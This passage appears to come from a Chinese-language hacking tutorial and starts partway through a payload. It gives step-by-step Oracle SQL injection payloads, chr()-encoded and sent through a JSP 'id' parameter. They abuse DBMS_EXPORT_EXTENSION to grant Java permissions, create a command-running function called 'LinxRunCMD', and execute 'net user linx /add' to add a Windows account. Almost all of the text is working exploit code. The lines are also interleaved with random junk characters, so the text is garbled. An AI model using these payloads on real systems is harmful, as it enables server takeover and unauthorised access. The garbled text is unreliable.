. Y; ~5 R1 ]/ [2 gchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||9 A# \' N3 g T6 h9 O
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
' y! u. o' Q" q" ?( Q* Rchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||& f9 h9 r$ }- u
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
3 B" K+ \/ ?9 g" h9 T9 E1 `; Schr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
+ v& x1 ?: U, Z) p+ V: G6 A,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual% X3 h+ U* z0 E2 n
6 [5 i' t+ @7 h( Y) i. o5 l6 m)" f6 D2 J- ? u6 \+ v; Y
. ~3 `) b F* C- ]$ O- Y------------------------------
% s6 W1 H! @& i
" Z+ M6 ^% }. ]3 R/ R& j5 l2.赋Java权限0 Z0 G" k/ B9 I. v2 O! W
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
% B, X+ e( B5 L
3 F, r4 K3 l O) |% i% bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" ]1 T/ u! P# g# w! Q# A6 `# {/ [chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 C# l6 B& L0 W. A# P$ L" `& @chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||# h0 j3 x! t$ S1 X7 e
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 W( r6 D% x. a; h- G8 {
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
' S$ P( V& n! R' U; schr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||+ z/ [0 A/ J$ F7 ~& T$ e+ Y& C
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||& [3 d# U! B0 ]9 N$ a9 V0 w" u4 p" ?3 p
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
- r. z5 O" s% F% E- ychr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
- i, a# |6 f* Vchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)+ s1 _% t. D w! B4 W
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual/ \! {) p, O/ I: s- D
* A0 p9 Y ]5 }. R' {
)5 I2 I, B0 Q8 ?7 B; G2 U* e8 W
8 C/ y/ [' J( B2 T7 F3 u/ G ]( P" E0 treadfile函数的ascii版就不写了,见谅。+ }0 C4 T; X7 f( z
% G, Y% ` M: P, d/ D: k
3.创建函数+ h- p l) x0 o( x/ l, z+ |) f
2 L. M Z8 r$ E% r R5 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
3 q1 ?9 W( z+ T% ?7 H( ^' xchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
& P) P/ s" H% Z- Hchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ g( X! @( x# s5 ~; t
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 ]7 j! s3 `/ ?/ s% N; r
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||8 [+ O1 {! M) e, g5 O, A& F
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
9 m) v$ B6 n" U" ~& R2 Hchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||& C D- k5 r% D, f, ^7 h
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
' f6 ~2 d1 o/ Uchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
& V" r8 A) x F( `: Uchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
, r6 f1 H7 x' i* [. F6 `8 @chr(59)||chr(45)||chr(45)
! N6 ]: V; Q; V( A9 A- \8 I,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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! ^- B; M; t) X* Q4.赋public执行函数的权限0 l: I/ i) W- [" C5 m
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# }- h3 Z9 x0 U7 e7 B/ |, M) S5 J
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||# g4 @( d" r* w* d' [ {" V- T# x
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 |6 ?8 C0 Z; c! S5 hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ a0 d) U+ r- H4 r' N% _; tchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
" e$ A1 T6 S ^* [/ L) K% }& S7 c. H, r/ vchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
! d- o' d# ]) Z. z( D0 i$ wchr(59)||chr(45)||chr(45)( D* F% Q0 W; @. _8 K4 A7 r* K$ {
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual- Y$ R( ?* v2 ] u2 z! G
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5 z5 K+ _6 L1 p
0 \: f9 S/ D; {- w- u5 D }5.执行命令:
% n& W7 H8 v/ [% m; |
\( ?; M$ M3 L8 r/xxx.jsp?id=1 and chr(49)<>chr(32)||(4 B, [6 g0 y7 ^/ w
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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即: z/ R# w U, V7 a2 F
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
1 S7 j4 u6 G$ O/ V7 dselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual k5 q& J. g9 @+ d0 s0 K8 `
)0 Z/ z7 w8 j1 A$ P
|